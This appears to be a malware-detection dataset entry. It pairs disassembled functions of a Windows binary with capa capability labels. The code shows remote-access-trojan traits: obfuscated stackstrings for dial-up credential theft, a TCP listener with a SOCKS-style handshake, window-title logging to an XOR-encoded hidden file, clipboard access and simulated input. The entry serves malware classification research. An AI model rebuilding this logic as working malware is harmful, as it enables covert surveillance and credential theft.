joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404510
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x130
push esi
push edi
push str.wsprintfA
mov esi, ecx
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dl, 0x44
mov cl, 0x73
mov edi, eax
mov byte [esp + 0xb], dl
mov byte [esp + 0x22], dl
mov al, 0x61
mov byte [esp + 0xa], cl
mov byte [esp + 0x14], cl
mov byte [esp + 0x17], cl
mov byte [esp + 0x21], cl
mov dl, 0x65
mov byte [esp + 0x33], cl
mov ecx, esi
mov byte [esp + 8], 0x52
mov byte [esp + 9], al
mov byte [esp + 0xc], 0x69
mov byte [esp + 0xd], al
mov byte [esp + 0xe], 0x6c
mov byte [esp + 0xf], 0x50
mov byte [esp + 0x10], al
mov byte [esp + 0x11], 0x72
mov byte [esp + 0x12], al
mov byte [esp + 0x13], 0x6d
mov byte [esp + 0x15], 0x21
mov byte [esp + 0x16], 0x25
mov byte [esp + 0x18], 0x23
mov byte [esp + 0x19], 0x30
mov byte [esp + 0x1a], 0
mov byte [esp + 0x1c], 0x4c
mov byte [esp + 0x1d], 0x24
mov byte [esp + 0x1e], 0x5f
mov byte [esp + 0x1f], 0x52
mov byte [esp + 0x20], al
mov byte [esp + 0x23], dl
mov byte [esp + 0x24], 0x66
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0x75
mov byte [esp + 0x27], 0x6c
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], 0x43
mov byte [esp + 0x2a], 0x72
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2c], 0x64
mov byte [esp + 0x2d], dl
mov byte [esp + 0x2e], 0x6e
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x69
mov byte [esp + 0x31], al
mov byte [esp + 0x32], 0x6c
mov byte [esp + 0x34], 0x23
mov byte [esp + 0x35], 0x30
mov byte [esp + 0x36], 0
call fcn.004041c0
push eax
lea eax, [esp + 0xc]
lea ecx, [esp + 0x3c]
push eax
push ecx
call edi
add esp, 0xc
lea edx, [esp + 0x38]
mov ecx, esi
push edx
call fcn.004042f0
mov edi, eax
test edi, edi
je 0x404651
mov ax, word [edi]
mov ecx, dword [edi + 4]
push eax
push ecx
mov ecx, esi
call fcn.00404380
mov edx, dword [edi + 4]
push edx
call fcn.004664a0
lea eax, [esp + 0x1c]
mov ecx, esi
push eax
call fcn.004042f0
mov edi, eax
test edi, edi
je 0x40467b
mov cx, word [edi]
mov edx, dword [edi + 4]
push ecx
push edx
mov ecx, esi
call fcn.00404380
mov eax, dword [edi + 4]
push eax
call fcn.004664a0
pop edi
pop esi
add esp, 0x130
ret
Function at 0x405830
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x46b3a0
push 0x4666a2
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov dword [ebp - 4], 0
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
call sub.MSVCRT.dll_malloc
add esp, 4
mov edi, eax
mov dword [ebp - 0x24], edi
test edi, edi
je 0x40598a
push esi
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, edi
mov dword [ebp - 0x1c], esi
cmp byte [edi], 0x5c
jne 0x4058db
lea eax, [edi + 1]
cmp byte [eax], 0x5c
jne 0x4058db
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x4058b6
cmp al, 0x5c
je 0x4058b6
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x40589e
cmp byte [esi], 0
je 0x4058bf
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x4058d4
cmp al, 0x5c
je 0x4058d4
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
jmp 0x4058bc
cmp byte [esi], 0
je 0x4058fa
jmp 0x4058f6
lea eax, [edi + 1]
cmp byte [eax], 0x3a
jne 0x4058fa
mov esi, eax
mov dword [ebp - 0x1c], esi
inc esi
mov dword [ebp - 0x1c], esi
mov al, byte [esi]
test al, al
je 0x4058fa
cmp al, 0x5c
jne 0x4058fa
inc esi
mov dword [ebp - 0x1c], esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov al, byte [esi]
test al, al
je 0x405950
cmp al, 0x5c
jne 0x405942
mov byte [esi], 0
push edi
call ebx
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x405935
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40593f
call dword [0x478178]
cmp eax, 0xb7
je 0x40593f
push edi
jmp 0x405982
and eax, 0x10
cmp al, 0x10
je 0x40593f
push edi
jmp 0x405982
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
mov dword [ebp - 0x1c], esi
jmp 0x405900
mov dword [ebp - 4], 0xffffffff
push edi
call fcn.0046669c
add esp, 4
mov al, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
call fcn.0046669c
add esp, 4
mov dword [ebp - 4], 0xffffffff
xor al, al
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x405d20
Capabilities:
Get disk information

Disassembly:
sub esp, 0x784
push ebx
lea eax, [esp + 0x128]
push ebp
push eax
mov dword [esp + 0x28], ecx
push 0x100
mov byte [esp + 0x394], 0x68
call dword [0x478164]
mov al, byte [esp + 0x12c]
xor edx, edx
test al, al
lea ebp, [esp + 0x12c]
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], edx
mov dword [esp + 0x1c], edx
mov ebx, 1
je 0x405ebd
push esi
push edi
jmp 0x405d7a
xor edx, edx
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x30]
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
push ecx
push edx
push edx
push edx
push edx
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x410
lea edx, [esp + 0x238]
push 0x160
push edx
push 0x80
push ebp
call dword [0x478168]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x344]
push eax
call esi
mov edi, eax
lea ecx, [esp + 0x30]
inc edi
push ecx
mov dword [esp + 0x2c], edi
call esi
inc eax
mov dword [esp + 0x14], eax
mov al, byte [ebp]
cmp al, 0x41
je 0x405e2c
cmp al, 0x42
je 0x405e2c
lea edx, [esp + 0x18]
push 0
lea eax, [esp + 0x24]
push edx
push eax
push ebp
call dword [0x478160]
test eax, eax
je 0x405e2c
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x1c]
mov ecx, 0x14
call fcn.004666b0
mov edx, dword [esp + 0x24]
mov esi, eax
mov eax, dword [esp + 0x20]
mov ecx, 0x14
call fcn.004666b0
mov dword [esp + 0x10], eax
jmp 0x405e32
xor esi, esi
mov dword [esp + 0x10], esi
mov cl, byte [ebp]
push ebp
mov byte [esp + ebx + 0x398], cl
call dword [0x47816c]
mov edx, dword [esp + 0x10]
mov ecx, edi
mov byte [esp + ebx + 0x395], al
mov eax, ecx
mov dword [esp + ebx + 0x396], esi
lea esi, [esp + 0x344]
lea edi, [esp + ebx + 0x39e]
mov dword [esp + ebx + 0x39a], edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 0x28]
and ecx, 3
push ebp
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x18]
lea edx, [eax + ebx]
lea esi, [esp + 0x34]
lea edi, [esp + edx + 0x3a2]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, edx
add ecx, eax
lea ebx, [ebx + ecx + 0xa]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ebp, [eax + ebp + 1]
cmp byte [ebp], 0
jne 0x405d78
pop edi
pop esi
mov ecx, dword [esp + 0x24]
lea edx, [esp + 0x38c]
push ebx
push edx
call fcn.0040b060
pop ebp
pop ebx
add esp, 0x784
ret
Function at 0x408750
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x120
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x478198
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [0x478194]
mov ebp, dword [0x4784e0]
push str.LeaveCriticalSection
inc ebp
push str.KERNEL32.dll
mov dword [0x4784e0], ebp
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x478198
call eax
mov edi, dword [esp + 0x13c]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.00408560
add esp, 8
cmp eax, esi
je 0x408972
mov ebp, dword [esp + 0x134]
cmp eax, 1
je 0x4088b8
cmp eax, 2
je 0x4088b8
cmp eax, 3
je 0x4088b8
cmp eax, 4
jne 0x408931
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x144]
lea edx, [esp + 0x34]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.004084b0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x40]
push edx
lea ecx, [ebp + 4]
push eax
push ecx
call fcn.00408e90
add esp, 0x1c
test eax, eax
je 0x408972
mov al, 0x54
mov cl, 0x20
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], al
mov al, 0x30
mov byte [esp + 0x20], cl
mov byte [esp + 0x1f], al
mov byte [esp + 0x22], al
mov byte [esp + 0x23], al
mov byte [esp + 0x24], cl
mov cl, 0xd
mov al, 0xa
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], al
mov byte [esp + 0x29], cl
mov byte [esp + 0x2a], al
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x18], 0x48
mov byte [esp + 0x1b], 0x50
mov byte [esp + 0x1c], 0x2f
mov byte [esp + 0x1d], 0x31
mov byte [esp + 0x1e], 0x2e
mov byte [esp + 0x21], 0x32
mov byte [esp + 0x25], 0x4f
mov byte [esp + 0x26], 0x4b
mov byte [esp + 0x2b], 0
repne scasb al, byte es:[edi]
mov eax, dword [ebp]
push esi
not ecx
lea edx, [esp + 0x1c]
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
jmp 0x408931
mov ecx, dword [esp + 0x14]
mov esi, dword [esp + 0x140]
mov edx, dword [esp + 0x138]
push ecx
push esi
push edi
push edx
call fcn.00408690
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x408972
lea eax, [esp + 0x10]
lea ecx, [esp + 0x30]
push eax
mov eax, dword [esp + 0x18]
sub esi, eax
push ecx
sub esi, 7
lea edx, [eax + edi + 7]
push esi
push edx
call fcn.004084b0
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x40]
lea esi, [ebp + 4]
push eax
push ecx
push esi
call fcn.00408e90
add esp, 0x1c
test eax, eax
je 0x408972
mov edx, dword [esp + 0x138]
mov eax, dword [esi]
push 0
push ebx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x408972
cmp dword [ebp], 0
je 0x408972
mov eax, dword [ebp + 4]
test eax, eax
je 0x408972
lea ecx, [esp + 0x2c]
push ecx
push 0
push ebp
push 0x409a50
push 0
push 0
call dword [0x478190]
test eax, eax
je 0x408962
push 0xffffffffffffffff
push eax
call dword [0x47818c]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x120
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x120
ret
Function at 0x408980
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov al, byte [ebx]
mov byte [ebp - 2], 5
cmp al, 5
mov byte [ebp - 1], 0
je 0x4089a9
pop edi
pop esi
and eax, 0xff
pop ebx
mov esp, ebp
pop ebp
ret
mov al, byte [ebx + 2]
lea esi, [ebx + 2]
test al, al
je 0x4089c0
cmp al, 2
je 0x4089c0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, 0x4781e0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [ebp - 2]
and ecx, 2
push 2
mov byte [ebp - 1], cl
mov ecx, dword [ebp + 8]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4089fa
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [ebp - 1], 2
jne 0x408b57
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x104]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [ebp - 0x204]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push 0x5000
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x408b4e
test eax, eax
je 0x408b4e
cmp byte [ebx], 1
je 0x408a5d
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov al, byte [ebx + 1]
test al, al
je 0x408a86
and eax, 0xff
cmp eax, 0x100
jg 0x408a86
mov ecx, eax
lea edi, [ebp - 0x104]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
mov al, byte [ebx + 1]
add eax, ebx
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x408abf
cmp ecx, 0x100
jg 0x408abf
mov edx, ecx
lea esi, [eax + 3]
lea edi, [ebp - 0x204]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x104]
mov eax, 0x4781e0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x408aee
test cl, cl
je 0x408aea
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x408aee
add eax, 2
add esi, 2
test cl, cl
jne 0x408aca
xor eax, eax
jmp 0x408af3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x408b34
lea esi, [ebp - 0x204]
mov eax, 0x4782e0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x408b26
test cl, cl
je 0x408b22
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x408b26
add eax, 2
add esi, 2
test cl, cl
jne 0x408b02
xor eax, eax
jmp 0x408b2b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x408b34
mov byte [ebx + 1], al
jmp 0x408b38
mov byte [ebx + 1], 0xff
mov eax, dword [ebp + 8]
push 0
push 2
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x408b57
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4093e0
Capabilities:
Create tcp socket
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4094e5
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x4094e5
mov dx, word [0x4781b0]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x4094e5
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x409480
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
push str.CreateThread
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, eax
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call sub.MSVCRT.dll_malloc
add esp, 4
test eax, eax
je 0x40949f
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x4090d0
push 0
push 0
call ebp
test eax, eax
jne 0x4094dc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40949f
push eax
call dword [0x4781b8]
jmp 0x40949f
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x4097a0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x4097db
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x4097e2
sub esi, eax
add edi, eax
test esi, esi
jg 0x4097b6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
Function at 0x40a640
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x114
push ebx
mov al, 0x6f
push ebp
push esi
mov byte [esp + 0xd], al
mov byte [esp + 0x11], al
push edi
lea eax, [esp + 0x20]
push 0x104
push eax
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x1a], 0x75
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call dword [0x478614]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0
push 0x80
push 4
push 0
push 2
lea eax, [esp + 0x34]
push 0x40000000
push eax
call dword [0x478610]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x24], 0
call dword [0x47860c]
cmp eax, 0x3200000
jae 0x40a6ea
push 2
push 0
push 0
push ebx
call dword [0x478608]
mov ebp, dword [esp + 0x128]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x40a719
mov ecx, ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x40a70d
lea eax, [esp + 0x1c]
push 0
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
push ebx
call dword [0x478604]
push ebx
call dword [0x478600]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret

Function at 0x40a750
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push ebx
push esi
push edi
push str.wsprintfA
push str.USER32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov ecx, 0x100
xor eax, eax
mov edi, 0x478620
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x478620
push eax
mov dword [0x478a20], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x47861c]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x478a20]
cmp eax, ecx
je 0x40a85d
push 0x478620
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jle 0x40a851
lea ecx, [esp + 0xc]
push ecx
call dword [0x4785fc]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x16]
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x16]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x16]
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x478620
lea edx, [esp + 0x38]
push 0x475dbc
push edx
call ebx
lea eax, [esp + 0x40]
push eax
call fcn.0040a640
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x478620
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x478a20]
mov dword [0x47861c], ecx
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x410
ret
Function at 0x40ac70
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x118
push ebp
push edi
lea eax, [esp + 0x1c]
xor edi, edi
push 0x104
mov dword [esp + 0x18], ecx
push eax
mov dword [esp + 0x20], edi
call dword [0x478614]
lea ecx, [esp + 8]
lea edx, [esp + 0x1c]
mov al, 0x6f
push ecx
push edx
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x72
mov byte [esp + 0x14], 0x6c
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x17], 0x2e
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea eax, [esp + 0x30]
push closesocket
push eax
call dword [0x478610]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40ad51
push esi
push edi
push ebp
call dword [0x47860c]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x1c]
mov esi, eax
push 0
push ecx
push edi
push esi
push ebp
call dword [0x4785e8]
xor eax, eax
test edi, edi
jbe 0x40ad3a
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x40ad2c
mov ecx, dword [esp + 0x18]
push edi
push esi
call fcn.0040ac10
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebp
call dword [0x478600]
mov eax, edi
pop edi
pop ebp
add esp, 0x118
ret
Function at 0x40c550
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x40c701
call fcn.0040fef0
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x40c701
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x40c5cd
cmp eax, 0x208
ja 0x40c5cd
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x40c67d
je 0x40c665
cmp eax, 0x105
ja 0x40c639
je 0x40c61b
sub eax, 0x100
je 0x40c5fd
dec eax
je 0x40c61b
sub eax, 3
jne case.0x40c687.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [0x478a4c]
jmp case.0x40c687.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [0x478a4c]
jmp case.0x40c687.521
sub eax, 0x201
je 0x40c656
dec eax
jne case.0x40c687.521
push 0
push 0
push 0
push 0
push 4
jmp 0x40c6ea
push 0
push 0
push 0
push 0
push 2
jmp 0x40c6ea
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x40c6ea
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x40c687.521
jmp dword [eax*4 + 0x40c708]
push 0
push 0
push 0
push 0
push 8
jmp 0x40c6ea
push 0
push 0
push 0
push 0
push 0x10
jmp 0x40c6ea
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x40c6ea
push 0
push 0
push 0
push 0
push 0x20
jmp 0x40c6ea
push 0
push 0
push 0
push 0
push 0x40
jmp 0x40c6ea
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x40c599
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x40c760
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40c7c8
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x40c7c0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8
Function at 0x40c830
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40c8c2
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x40c861
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [0x478a48]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x77
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.0040b060
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret